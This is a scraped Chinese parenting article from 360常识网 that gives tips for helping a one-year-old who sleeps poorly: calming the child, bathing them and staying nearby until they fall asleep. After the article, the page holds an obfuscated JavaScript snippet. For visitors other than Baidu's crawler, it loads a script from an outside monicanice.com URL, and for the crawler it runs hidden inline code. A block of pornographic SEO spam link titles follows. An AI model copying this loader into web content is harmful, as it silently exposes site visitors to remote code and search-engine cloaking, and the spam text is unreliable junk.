當前位置:首頁 > 母嬰 > 育兒知識 > 正文

一歲寶寶睡眠不好應該怎么辦

2017-04-11 08:36:48  來源:360常識網   熱度:
導語:嬰幼兒由于身體還沒有發育成熟,所以如果不注意保養的話,那么就會對身體健康和正常發育有比較大的影響。嚴重的情況下還可能會引發一些比較

嬰幼兒由于身體還沒有發育成熟,所以如果不注意保養的話,那么就會對身體健康和正常發育有比較大的影響。嚴重的情況下還可能會引發一些比較嚴重的身體疾病發生。所以在平常的時候一定要多注意。嬰幼兒就算是睡覺不好,都是對身體會有不好影響的。那么一歲寶寶睡眠不好應該怎么辦?下面我們就來介紹下。

安撫寶寶睡前情緒

睡前,不要讓寶寶太興奮,如果寶寶在睡覺前有一個習慣性的哭鬧前奏,不要立刻把寶寶脫光。父母應該平時留心,掌握寶寶的睡眠習慣,幫助寶寶建立起一個良好的睡眠反射習慣,在哭鬧前奏開始之前就可以做準備,逗他笑,讓他心情愉快。然后才可以幫寶寶脫衣服。

清潔寶寶的身體

寶寶情緒平穩后,就可以開始為寶寶清洗身體。將寶寶的身體打濕,用掌心輕輕揉搓至全身,直至身體微微發紅,力度不能太大,也不能太輕,沐浴露可以隔天用一次,用清水沖干凈后,涂上潤膚露,取一塊大毛巾將寶寶全身包住,擦干后,放進睡袋里面。

整個過程要快,動作干脆,室溫調節在大約在25度左右。

寶寶睡著后再離開

寶寶躺下后,不要立刻走開,你可以看著他的眼睛,跟他說話,輕輕哼歌或者拍拍他的身體,各種溫和的適合你的寶寶的活動都可以,直到他睡著。

有些媽媽在寶寶閉上眼睛后就會馬上起身去做其他事情,其實這個時候很有可能寶寶并沒有真正睡著,你一走開,他就會醒,這樣的過程有過幾次后,你就發現寶寶變得好像不容易睡著了。正確的做法是,看見寶寶閉上眼睛,將剛才的活動延續一會兒。然后不妨坐在寶寶身邊找本書看看,一段時間后再離去,這樣做的目的是要和寶寶之間建立起足夠的信任感。

一歲寶寶睡眠不好的情況發生之后,如果不能很及時的進行有效控制和改善的話,那么對于孩子的正常發育是很不好的。所以在有了這樣的情況后,就應該要采用上面介紹的方法來幫助還改善睡眠的情況,這樣才能保證身體有比較好的發育情況。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
完整观看高清秒播国内外精品资源 | 国产成人亚洲精品狼色在线| 久久久久se色偷偷亚洲精品av| mm1313亚洲精品无码又大又粗| 久久久久精品国产亚洲AV无码| 中文国产成人精品久久96| 亚洲欧美日韩国产精品一区| 久久99国产精品久久| www久久只有这里有精品| 精品国产一区AV天美传媒| 兽交精品99高清毛片| 精品国产一区二区三区免费看 | 精品福利视频网站| 国产AV午夜精品一区二区入口| 四虎永久在线精品视频免费观看| 亚洲欧洲精品久久| 久久91综合国产91久久精品| 亚洲精品偷拍视频免费观看| 老色鬼在线精品视频| 亚洲国产精品无码久久久不卡| 亚洲?V无码乱码国产精品| 色哟哟精品视频在线观看| 久久夜色精品国产网站| 亚洲精品无码午夜福利中文字幕| 国产成人精品免费视频软件| 亚洲中文字幕久久精品蜜桃| 久久久久女人精品毛片| 女人香蕉久久**毛片精品| 亚洲精品一级无码鲁丝片| 精品国产一区二区三区久| 国产精品视频网站| 99精品视频在线观看免费播放| 国产综合色在线精品| 久久93精品国产91久久综合| 色老成人精品视频在线观看 | 久久久久国产成人精品亚洲午夜| 大伊香蕉在线精品视频人碰人| 99精品国产高清一区二区麻豆| 亚洲视频精品在线观看| 午夜精品久久久久久久久| 久久成人国产精品二三区|